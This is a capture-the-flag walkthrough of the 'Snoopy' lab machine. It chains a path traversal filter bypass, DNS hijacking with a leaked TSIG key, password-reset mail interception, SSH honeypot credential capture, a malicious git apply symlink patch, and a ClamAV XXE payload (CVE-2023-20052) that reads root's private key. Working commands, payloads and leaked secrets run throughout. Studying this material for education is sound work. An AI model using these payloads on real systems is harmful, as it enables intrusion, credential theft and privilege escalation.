Introduction
Snoopy is a Linux machine that chains six distinct attack techniques together into a full system compromise. Each step is creative and non-obvious - this is one of the best boxes for learning about DNS hijacking, mail interception, SSH honeypots, and CVE exploitation. The path to root:
- Enumeration → Nmap reveals SSH, Bind9 DNS, and Nginx; subdomain fuzzing finds
mm.snoopy.htb(Mattermost) - LFI → the
/download?file=endpoint on the main site is vulnerable to path traversal → read arbitrary files from disk - DNS hijacking → LFI leaks the Bind9 TSIG key from
/etc/bind/named.conf→ use it to add amail.snoopy.htbA record pointing to our machine - Mail interception → set up Postfix on our attacker machine → trigger a Mattermost password reset for
sbrown→ receive the email → decode the reset link → log in assbrown - SSH honeypot → inside Mattermost, a “Server Provisioning” plugin sends SSH connections to user-specified IPs → point it at our
sshesamehoneypot → capturecbrown’s plaintext SSH credentials git applysymlink attack →cbrowncan rungit applyassbrownvia sudo → exploit CVE-style git symlink behaviour to write our SSH key intosbrown’sauthorized_keys→ user flag- CVE-2023-20052 (ClamAV XXE) →
sbrowncan runclamscanas root → craft a malicious DMG file with an XXE payload →clamscan --debugleaks root’s SSH private key → SSH as root → root flag
Key Concepts
What is LFI (Local File Inclusion)? A vulnerability where a web application uses a user-supplied filename to serve files, without properly validating the path. By injecting ../ sequences (path traversal), an attacker can escape the intended directory and read arbitrary files on the server - like /etc/passwd or configuration files.
What is the ....// bypass? Many web applications try to block ../ path traversal by removing occurrences of ../ from user input. If the removal is done only once (not recursively), the sequence ....// bypasses it: the filter deletes the inner ../, leaving ../ behind. This is a classic filter evasion trick.
What is Bind9 and a TSIG key? Bind9 is a popular DNS server. A TSIG (Transaction SIGnature) key is a shared secret used to authenticate dynamic DNS updates - it proves that whoever is sending the update has permission to modify DNS records. If an attacker obtains the TSIG key, they can add, modify, or delete any DNS record in the zone.
What is a DNS A record? An A record maps a hostname to an IPv4 address. By adding mail.snoopy.htb → our IP, we tell the DNS server that all email destined for snoopy.htb should be delivered to our machine instead of the real mail server. Since Mattermost sends password reset emails via that subdomain, we will receive them.
What is SMTP / Postfix? SMTP (port 25) is the protocol used to send emails between servers. Postfix is a lightweight Mail Transfer Agent (MTA) that listens on port 25 and accepts incoming mail. By running Postfix with the domain snoopy.htb, our machine pretends to be the mail.snoopy.htb server and accepts whatever the target sends.
What is Quoted Printable encoding? An email encoding format that represents special characters using =XX sequences (e.g. =3D for =). Email clients decode this automatically, but reading raw email files means you’ll see mangled URLs. Online decoders (or python3 -c "import quopri...") convert them back to normal.
What is an SSH honeypot? A fake SSH server that accepts any credentials and logs everything. Instead of opening a real shell, it records the username and password the connecting client tried to use. sshesame is a lightweight Go-based SSH honeypot.
What is a git apply symlink attack? git apply applies a diff (patch) to a repository. A subtle vulnerability in git versions before 2.39.2 allows a specially crafted patch to follow symlinks while applying changes - meaning if you have a symlink in the repository pointing to a sensitive directory, the patch can write arbitrary files into that directory. If you can run git apply as another user via sudo, you can write your SSH key into that user’s authorized_keys.
What is XXE (XML External Entity)? An attack against XML parsers that support the <!ENTITY> syntax. An XXE payload defines an “entity” that references an external file using file://. When the XML is parsed, the parser expands the entity and includes the file’s contents in the output - essentially reading arbitrary files from disk.
What is CVE-2023-20052? A vulnerability in ClamAV’s DMG (Apple disk image) file parser. When parsing a DMG file, ClamAV processes XML plist data embedded inside it. If that XML contains an XXE payload, ClamAV’s XML parser will expand it and include the referenced file’s contents in its debug output. Since sbrown can run clamscan as root, we can exfiltrate root’s SSH key this way.
What is a DMG file? A disk image format used by macOS. It has a specific binary structure that includes an embedded XML plist section. Tools like genisoimage and libdmg-hfsplus let you create and manipulate DMG files on Linux.
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 <TARGET> | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports <TARGET>
Key open ports:
| Port | Service | Notes |
|---|---|---|
| 22 | SSH | OpenSSH 8.9p1 Ubuntu |
| 53 | DNS | Bind9 - investigate config files |
| 80 | HTTP | Nginx - SnoopySec company site |
Add the domain to your hosts file:
echo '<TARGET> snoopy.htb' | sudo tee -a /etc/hosts
Website Recon
Visit http://snoopy.htb. Key findings:
- Team page → usernames and emails:
cschultz@snoopy.htb,sbrown@snoopy.htb,hangel@snoopy.htb,lpelt@snoopy.htb - Contact page → notice: “mail.snoopy.htb is currently offline” - this is a huge hint
- Homepage → two download links: a press release ZIP and an “announcement” ZIP
Subdomain Fuzzing
ffuf -u http://snoopy.htb -t 50 \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-H "Host: FUZZ.snoopy.htb" -mc all -fs 23418
Hit: mm.snoopy.htb (Status 200)
echo '<TARGET> mm.snoopy.htb' | sudo tee -a /etc/hosts
Visiting mm.snoopy.htb reveals a Mattermost login page. Registration is closed. Testing the password reset for a non-existent user returns a generic message; testing sbrown@snoopy.htb returns “Failed to send password reset email successfully” - confirming the account exists but the mail server is offline.
LFI: Read Arbitrary Files from the Server
Find the vulnerable parameter
Click “download our recent announcement here” on the homepage and capture the request in Burp Suite. The URL looks like:
GET /download?file=announcement.pdf HTTP/1.1
The ?file= parameter directly references the file to serve - a classic sign of potential path traversal.
Bypass the filter with ....//
The server strips ../ sequences, but doesn’t do it recursively. The ....// trick works by letting the filter delete the inner ../, leaving ../ intact:
....//....//....//....//....//....//....//....//etc/passwd
Full URL:
http://snoopy.htb/download?file=....//....//....//....//....//....//....//....//etc/passwd
The server returns a ZIP file containing /etc/passwd - LFI confirmed. The passwd file reveals system users including cbrown, sbrown, clamav, and bind.
Read the Bind9 configuration files
Since DNS is running on port 53, look for the Bind9 TSIG key used to authenticate DNS updates:
# Step 1: find the zone configuration
/download?file=....//....//....//....//....//....//....//....//etc/bind/named.conf.local
The named.conf.local file shows the snoopy.htb zone is configured with:
allow-update { key "rndc-key"; };
This means anyone with the rndc-key can modify DNS records. Now fetch the key itself:
/download?file=....//....//....//....//....//....//....//....//etc/bind/named.conf
The named.conf file contains:
key "rndc-key" {
algorithm hmac-sha256;
secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};
Save this to a file called rndc.key:
key "rndc-key" {
algorithm hmac-sha256;
secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};
DNS Hijacking: Redirect mail.snoopy.htb to Our Machine
Check current DNS records
dig axfr @<TARGET> snoopy.htb
What is
axfr? A DNS zone transfer - it requests the full list of all DNS records from the server. It shows us everything:mattermost.snoopy.htb,mm.snoopy.htb,postgres.snoopy.htb, etc. Notably,mail.snoopy.htbis not in the list - it’s the offline subdomain mentioned on the site.
Add a malicious A record
Use nsupdate with the stolen TSIG key to add mail.snoopy.htb pointing to our attacker IP:
nsupdate -k rndc.key
> server <TARGET>
> zone snoopy.htb
> update add mail.snoopy.htb. 60 A <YOUR_IP>
> send
> quit
Verify the record was added:
dig axfr @<TARGET> snoopy.htb
# mail.snoopy.htb. 60 IN A <YOUR_IP>
Why TTL 60? TTL (Time to Live) is how long the record is cached. Setting it to 60 seconds means the change takes effect quickly and can be easily updated if needed.
Mail Interception: Capture the Mattermost Password Reset
Set up Postfix (our fake mail server)
sudo apt-get install postfix
# During install: choose "Internet Site", set domain to "snoopy.htb"
# Or configure manually on an existing install:
sudo postconf -e "myhostname = snoopy.htb"
sudo postconf -e "mynetworks = 10.0.0.0/8"
sudo systemctl start postfix
Why set the domain to
snoopy.htb? Postfix usesmyhostnameandmydestinationto decide which emails to accept. Setting it tosnoopy.htbmakes our machine accept emails addressed to*@snoopy.htb- exactly what Mattermost will send.
Create the local mail recipient
Postfix needs a local system user matching the email’s recipient. Since we’re targeting sbrown@snoopy.htb:
sudo useradd sbrown
sudo touch /var/mail/sbrown
sudo chown sbrown:sbrown /var/mail/sbrown
Trigger the password reset
Go to http://mm.snoopy.htb → “Forgot your password?” → enter sbrown@snoopy.htb → click Reset.
Read the email
sudo cat /var/mail/sbrown
The email body contains the reset link, but it’s in Quoted Printable encoding - some characters appear as =XX sequences. For example, =3D is = and line breaks are marked with =. The raw link might look like:
http://mm.snoopy.htb/reset_password_complete?token=3Dwurha=
ors93xfqm4dzjatt45ksg6zwi55o1npb3njt7xqeyjawmdjd3yj6bnk3egg
Decode it using an online Quoted Printable decoder (or Python) to get the real URL:
http://mm.snoopy.htb/reset_password_complete?token=wurhaors93xfqm4dzjatt45ksg6zwi55o1npb3njt7xqeyjawmdjd3yj6bnk3egg
Visit this URL, set a new password, and log in as sbrown.
SSH Honeypot: Capture cbrown’s Credentials
Find the Server Provisioning channel
After logging in as sbrown, browse the Mattermost channels. In the Town Square channel, the staff are discussing a new “Server Provisioning” DevSecOps tool. Find and join the Server Provisioning channel.
Type /server_provision in the chat to trigger the provisioning form. This form is a plugin that lets IT staff request SSH access to a new server - and it sends the actual SSH connection.
Set up the sshesame honeypot
Before submitting the form, set up a fake SSH server on port 2222 to capture whatever credentials the target server will use:
git clone https://github.com/jaksi/sshesame
cd sshesame
sudo go build
# Change listening address from 127.0.0.1:2022 to 0.0.0.0:2222
sed -i 's/127.0.0.1:2022/0.0.0.0:2222/g' sshesame.yaml
# Stop the real SSH service on port 22 (we still have our session, don't worry)
systemctl stop ssh
./sshesame -config sshesame.yaml
Why stop SSH first? We need port 2222 clear.
sshesamelistens on 2222 so it doesn’t conflict with our own SSH session on port 22. Warning: make sure you have another way in before stopping SSH.
Submit the provisioning form
In Mattermost, fill in the Server Provisioning form:
- Email:
sbrown@snoopy.htb - Operating System: Linux (uses port 2222)
- Server IP: your attacker IP (e.g.
<YOUR_IP>)
Hit Submit. Watch the sshesame output:
INFO Listening on [::]:2222
2023/05/15 15:40:04 [<TARGET>:44220] authentication for user "cbrown" with password "sn00pedcr3dential!!!" accepted
Captured credentials: cbrown:sn00pedcr3dential!!!
What just happened? The Mattermost plugin connected to our fake SSH server using
cbrown’s real credentials. The honeypot accepted any password and logged the attempt. This is the same technique used against real organisations when an admin trusts a malicious server recommendation.
Restart SSH on your attacker machine before proceeding:
systemctl start ssh
SSH in as cbrown
ssh cbrown@snoopy.htb
# Password: sn00pedcr3dential!!!
cbrown@snoopy:~$ id
uid=1000(cbrown) gid=1000(cbrown) groups=1000(cbrown),1002(devops)
Note: both cbrown and sbrown are in the devops group.
git apply Symlink Attack: Lateral Movement to sbrown
Check sudo permissions
sudo -l
User cbrown may run the following commands on snoopy:
(sbrown) PASSWD: /usr/bin/git ^apply -v [a-zA-Z0-9.]+$
cbrown can run git apply -v <patchfile> as sbrown. The patch filename must match [a-zA-Z0-9.]+ (alphanumeric only - no slashes). This means we can’t specify a path, so we need to work inside the current directory.
Check the vulnerable git version
git --version
# git version 2.34.1
Versions before 2.39.2 are vulnerable to a symlink-based arbitrary file write via git apply. The trick: if the repository contains a symlink to a directory, and a patch renames that symlink while simultaneously creating a file inside the renamed symlink, git follows the symlink and writes the file into the target directory.
Our goal: write our SSH public key into /home/sbrown/.ssh/authorized_keys.
Step 1: Create a git repo with a symlink to sbrown’s .ssh folder
Work in /dev/shm (a memory-backed filesystem, no disk writes):
cd /dev/shm
mkdir rce
chown :devops rce # give the devops group access so sbrown can read it
cd rce
git init .
ln -s /home/sbrown/.ssh symlink # symlink points to sbrown's .ssh folder
git add symlink
git commit -m "add symlink"
Why
/dev/shm? It’s world-writable and not mounted withnoexec, making it convenient for temporary exploitation work. It also avoids leaving traces on disk.
Step 2: Generate your SSH keypair (if you don’t have one)
ssh-keygen -t rsa -f /tmp/mykey -N ""
# Creates /tmp/mykey (private) and /tmp/mykey.pub (public)
cat /tmp/mykey.pub # copy this output
Step 3: Create the malicious patch file
cat >patch <<-EOF
diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/authorized_keys
new file mode 100644
index 0000000..039727e
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1,1 @@
+ssh-rsa AAAA...your public key here... user@host
EOF
What does this patch do? It tells git to:
- Rename
symlink(which points to/home/sbrown/.ssh) torenamed-symlink- Create a new file
renamed-symlink/authorized_keys- but sincerenamed-symlinkis/home/sbrown/.ssh, this actually creates/home/sbrown/.ssh/authorized_keysThe vulnerability is that git follows the symlink during step 2, allowing the write outside the repository.
Step 4: Apply the patch as sbrown
sudo -u sbrown /usr/bin/git apply -v patch
Checking patch symlink => renamed-symlink...
Checking patch renamed-symlink/authorized_keys...
Applied patch symlink => renamed-symlink cleanly.
Applied patch renamed-symlink/authorized_keys cleanly.
Step 5: SSH in as sbrown
ssh sbrown@snoopy.htb -i /tmp/mykey
✅ User flag captured. /home/sbrown/user.txt
CVE-2023-20052 (ClamAV XXE): Root
Check sbrown’s sudo permissions
sudo -l
User sbrown may run the following commands on snoopy:
(root) NOPASSWD: /usr/local/bin/clamscan ^--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$
sbrown can run clamscan --debug as root, but only on files inside ~/scanfiles/. The filename must be alphanumeric. The --debug flag is crucial - it makes ClamAV print verbose parsing output, which is where the XXE leak appears.
Understand the vulnerability
CVE-2023-20052 affects ClamAV’s DMG file parser. A DMG file contains an embedded XML plist section. If that XML includes an XXE payload (<!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa">), ClamAV’s XML parser will expand it and print the file contents in its --debug output.
Step 1: Create a base DMG file on your attacker machine
sudo apt-get install genisoimage
genisoimage -V progname -D -R -apple -no-pad -o progname.dmg /mnt
What does this do?
genisoimagecreates an ISO 9660 / HFS hybrid disk image. The-appleflag adds the Apple HFS (Mac) filesystem extensions that ClamAV’s DMG parser will attempt to process./mntis just used as an empty directory source - we don’t care about the contents.
This base DMG doesn’t yet contain valid XML plist data with our XXE payload. We need to add it using libdmg-hfsplus.
Step 2: Compile libdmg-hfsplus with the XXE payload
git clone https://github.com/fanquake/libdmg-hfsplus
cd libdmg-hfsplus
Edit dmg/resources.c. Find the plistHeader constant (around line 97) and replace it with:
const char *plistHeader =
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
"<!DOCTYPE plist [<!ENTITY xxe SYSTEM \"file:///root/.ssh/id_rsa\">]>\n"
"<plist version=\"1.0\">\n"
"<dict>\n";
What is this? The DOCTYPE declaration defines an entity
xxethat, when expanded, reads/root/.ssh/id_rsa. TheSYSTEMkeyword tells the parser to fetch the content from the filesystem.
Then find the writeResources function (around line 689) and modify it to print &xxe; instead of the real key name, and comment out the footer so the file stays parseable:
void writeResources(AbstractFile *file, ResourceKey *resources) {
ResourceKey *curResource;
ResourceData *curData;
abstractFilePrint(file, plistHeader);
abstractFilePrint(file, "\t<key>resource-fork</key>\n\t<dict>\n");
curResource = resources;
while (curResource != NULL) {
abstractFilePrint(file, "\t\t<key>%s</key>\n\t\t<array>\n",
"&xxe;");
// curResource->key);
curData = curResource->data;
while (curData != NULL) {
writeResourceData(file, curData, curResource->flipData, 3);
curData = curData->next;
}
abstractFilePrint(file, "\t\t</array>\n", curResource->key);
curResource = curResource->next;
}
//abstractFilePrint(file, "\t</dict>\n");
//abstractFilePrint(file, plistFooter);
}
Why comment out the footer? Without proper closing tags the XML is technically malformed, but ClamAV’s parser still processes it far enough to expand the XXE entity. The debug output captures the expanded content before the parser fails.
Step 3: Build the project and merge into the DMG
cmake . -B build
make -C build/dmg -j8
# Merge our XXE-injected XML into the existing base DMG
build/dmg/dmg progname.dmg c.dmg
# Host it for download
python3 -m http.server 8081
Step 4: Transfer and scan on the target
As sbrown on the target:
cd ~/scanfiles
wget <YOUR_IP>:8081/c.dmg
sudo clamscan --debug /home/sbrown/scanfiles/c.dmg
In the debug output, look for:
LibClamAV debug: cli_scandmg: wanted blkx, text value is -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjAAAAA...
...
-----END OPENSSH PRIVATE KEY-----
Step 5: SSH in as root
Save the key to a file on your attacker machine:
# Paste the key content into root_rsa
chmod 600 root_rsa
ssh -i root_rsa root@snoopy.htb
root@snoopy:~# id
uid=0(root) gid=0(root) groups=0(root)
✅ Root flag captured. /root/root.txt
Summary
nmap → SSH (22), Bind9 DNS (53), Nginx (80)
↓
ffuf vhost fuzzing → mm.snoopy.htb (Mattermost)
website → team page → usernames: sbrown, cbrown, cschultz, hangel, lpelt
website → contact page → "mail.snoopy.htb is offline" (hint!)
↓
/download?file=....//....//....//....//....//....//....//....//etc/bind/named.conf
→ TSIG key: BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=
↓
nsupdate -k rndc.key → add mail.snoopy.htb A record → our IP
↓
sudo apt install postfix (domain: snoopy.htb)
sudo useradd sbrown; touch /var/mail/sbrown
Mattermost password reset → sbrown@snoopy.htb
→ email received in /var/mail/sbrown
decode Quoted Printable → visit reset link → set new password
↓
login as sbrown → Server Provisioning channel → /server_provision
sshesame honeypot on port 2222 → submit form pointing at our IP
→ cbrown:sn00pedcr3dential!!! captured
↓
ssh cbrown@snoopy.htb → sudo -l → can run: git apply as sbrown
↓
git repo in /dev/shm → symlink → /home/sbrown/.ssh
craft malicious patch → rename symlink, write authorized_keys
sudo -u sbrown /usr/bin/git apply -v patch
→ our public key in /home/sbrown/.ssh/authorized_keys
↓
ssh sbrown@snoopy.htb -i mykey → USER FLAG
↓
sudo -l → can run: clamscan --debug ~/scanfiles/* as root
↓
attacker: clone libdmg-hfsplus → inject XXE into resources.c
→ <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa">
cmake + make → build/dmg/dmg progname.dmg c.dmg → serve via python3 http.server
↓
sbrown: wget c.dmg into ~/scanfiles/
sudo clamscan --debug /home/sbrown/scanfiles/c.dmg
→ debug output contains root's SSH private key
↓
chmod 600 root_rsa; ssh -i root_rsa root@snoopy.htb → ROOT FLAG
Tools Used
| Tool | What it does | How to get it |
|---|---|---|
| nmap | Port scanning and service fingerprinting | sudo apt install nmap |
| ffuf | Virtual host / subdomain fuzzing via the Host: header | sudo apt install ffuf |
| Burp Suite | HTTP proxy for intercepting and modifying web requests | portswigger.net |
| dig | DNS query tool - used for zone transfers (axfr) | sudo apt install dnsutils |
| nsupdate | Dynamic DNS update tool - used to add records with a TSIG key | sudo apt install dnsutils |
| Postfix | Lightweight Mail Transfer Agent - used to receive the password reset email | sudo apt install postfix |
| Wireshark | Packet capture - used to verify SMTP connections are being made | sudo apt install wireshark |
| sshesame | SSH honeypot that logs credentials from any connecting client | github.com/jaksi/sshesame |
| genisoimage | Creates ISO/HFS hybrid disk images (base DMG) | sudo apt install genisoimage |
| libdmg-hfsplus | Library for processing DMG files - patched to inject XXE payload | github.com/fanquake/libdmg-hfsplus |
| cmake / make | Build tools needed to compile libdmg-hfsplus | sudo apt install cmake build-essential |
| python3 http.server | Lightweight web server to transfer files to the target | Built into Python 3 |